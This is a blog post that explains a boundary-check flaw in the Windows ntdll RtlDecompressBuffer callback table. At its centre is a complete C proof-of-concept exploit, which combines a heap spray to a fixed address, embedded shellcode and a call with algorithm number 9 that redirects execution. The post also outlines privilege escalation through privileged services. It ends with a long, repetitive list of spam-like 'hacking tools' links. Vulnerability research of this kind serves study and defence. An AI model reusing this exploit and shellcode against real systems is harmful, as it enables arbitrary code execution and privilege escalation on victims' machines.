RtlDecompresBuffer Vulnerability
Introduction
The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
int RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) { int result; // eax@4 if ( algorithm & algorithm != 1 ) { if ( algorithm & 0xF0 ) result = -1073741217; else result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6); } else { result = -1073741811; } return result; }
Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.
let's check the disassembly on Win7 32bits:
- the movzx limits the boundaries to 16bits
- the test ax, ax avoids the algorithm 0
- the cmp ax, 1 avoids the algorithm 1
- the test al, 0F0h limits the boundary .. wait .. al?
Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?
So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.
Proof of concept
This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.
The result on WinXP:
The result on Win7 32bits:
And the exploit code:
/* ntdll!RtlDecompressBuffer() vtable exploit + heap spray by @sha0coder */ #include #include #include #define KB 1024 #define MB 1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9 // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */ // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits void fail(const char *msg) { printf("%s\n\n", msg); exit(1); } PUCHAR spray(HANDLE heap) { PUCHAR map = 0; printf("Spraying ...\n"); printf("Aproximating to %p\n", landing_ptr); while (map < landing_ptr-1*MB) { map = HeapAlloc(heap, 0, 1*MB); } //map = HeapAlloc(heap, 0, 1*MB); printf("Aproximated to [%x - %x]\n", map, map+1*MB); printf("Landing adddr: %x\n", landing_ptr); printf("Offset of landing adddr: %d\n", landing_ptr-map); return map; } void landing_sigtrap(int num_of_traps) { memset(landing_ptr, 0xcc, num_of_traps); } void copy_shellcode(void) { memcpy(landing_ptr, shellcode, strlen(shellcode)); } int main(int argc, char **argv) { FARPROC RtlDecompressBuffer; NTSTATUS ntStat; HANDLE heap; PUCHAR compressed, uncompressed; ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz; RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer"); heap = GetProcessHeap(); compressed_sz = estimated_uncompressed_sz = 1*KB; compressed = HeapAlloc(heap, 0, compressed_sz); uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz); spray(heap); copy_shellcode(); //landing_sigtrap(1*KB); printf("Landing ...\n"); ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz); switch(ntStat) { case STATUS_SUCCESS: printf("decompression Ok!\n"); break; case STATUS_INVALID_PARAMETER: printf("bad compression parameter\n"); break; case STATUS_UNSUPPORTED_COMPRESSION: printf("unsuported compression\n"); break; case STATUS_BAD_COMPRESSION_BUFFER: printf("Need more uncompressed buffer\n"); break; default: printf("weird decompression state\n"); break; } printf("end.\n"); }
The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
Related posts
- Hacking Tools 2019
- Termux Hacking Tools 2019
- New Hacker Tools
- Hackrf Tools
- Pentest Tools Bluekeep
- Best Hacking Tools 2020
- Hacker Tools For Mac
- Hack Tools Online
- New Hack Tools
- Hacking Tools And Software
- Pentest Recon Tools
- Hack Tools For Ubuntu
- How To Make Hacking Tools
- Hack Tool Apk No Root
- Pentest Tools Apk
- Hacker Tools Online
- Bluetooth Hacking Tools Kali
- Hacking Tools Kit
- New Hack Tools
- Hack Tools Online
- Bluetooth Hacking Tools Kali
- Pentest Tools Android
- Beginner Hacker Tools
- Free Pentest Tools For Windows
- Hacker Tools Free Download
- Hacker
- New Hack Tools
- Hacking Tools For Kali Linux
- Hacker Tools Linux
- Hacking App
- Wifi Hacker Tools For Windows
- Free Pentest Tools For Windows
- Hacker Tool Kit
- What Are Hacking Tools
- Usb Pentest Tools
- Hacking Tools Name
- Hack Tools For Ubuntu
- Hack Tools Online
- Hacker Tools For Windows
- Pentest Tools For Windows
- Hack And Tools
- Nsa Hack Tools Download
- Hack Tools For Windows
- Pentest Tools Alternative
- Beginner Hacker Tools
- Tools For Hacker
- Pentest Tools Online
- How To Make Hacking Tools
- Termux Hacking Tools 2019
- Pentest Tools Download
- Hacker Security Tools
- Pentest Tools Subdomain
- How To Hack
- Hacker Tools For Pc
- Hacker Tools Mac
- World No 1 Hacker Software
- Pentest Tools Online
- Hack Tools Pc
- Tools For Hacker
- How To Make Hacking Tools
- Hacks And Tools
- Hack Tool Apk No Root
- Pentest Tools Tcp Port Scanner
- Hacker Tools 2019
- What Are Hacking Tools
- Hack Rom Tools
- What Is Hacking Tools
- Hacking Tools For Windows Free Download
- Hack Tools Mac
- How To Install Pentest Tools In Ubuntu
- Computer Hacker
- Hacker Tools Software
- Pentest Tools Nmap
- Pentest Tools For Mac
- Best Hacking Tools 2020
- Hacking Tools Mac
- Pentest Tools Port Scanner
- Physical Pentest Tools
- Nsa Hacker Tools
- Hacking Tools Mac
- Tools 4 Hack
- Hacker Tools Free
- Hacking Tools Software
- Hack Tools For Pc
- Hacking Tools Windows 10
- Hacking Tools For Windows
- Hacking Tools For Games
- Termux Hacking Tools 2019
- Hack Rom Tools
- Pentest Tools Download
- Hacking Tools For Windows
- Beginner Hacker Tools
- Hacking Tools 2019
- Hacking Tools Github
- Computer Hacker
- Pentest Tools For Mac
- Hack Tools For Ubuntu
- Nsa Hack Tools Download
- How To Install Pentest Tools In Ubuntu
- Pentest Tools For Windows
- Hacking Tools For Windows
- Hacking App
- How To Make Hacking Tools
- Hacker Hardware Tools
- Tools 4 Hack
- Hacking Tools Github
- Pentest Tools Subdomain
- Hacking Tools Pc
- Pentest Tools Website Vulnerability
- Best Pentesting Tools 2018
- Hacking Tools 2020
- Best Hacking Tools 2019
- What Are Hacking Tools
- Termux Hacking Tools 2019
- Hacker Tools For Pc
- Wifi Hacker Tools For Windows
- Hacker Tools 2019
- Pentest Tools Android
- Hacking Tools Download
- Pentest Tools Subdomain
- Pentest Tools Online
- Pentest Tools Nmap
- Hacker Tools Hardware
- Hacker Tool Kit
- Hacker Tools For Windows
- Hacking App
- Nsa Hacker Tools
- Hacking Tools And Software
- Hack Tools
- Hack Website Online Tool
- Hacking Tools For Pc
- Hacking Tools Online
- Pentest Tools Open Source
- Pentest Tools For Ubuntu
- Hack Tools Download
- Pentest Tools Download
- Hacking Tools 2020
- Pentest Tools
- Pentest Tools Kali Linux
- Pentest Tools Github
- Pentest Tools
- Hacking Tools Windows 10
posted by a Confidential Source @ 5/27/2023
0 comments
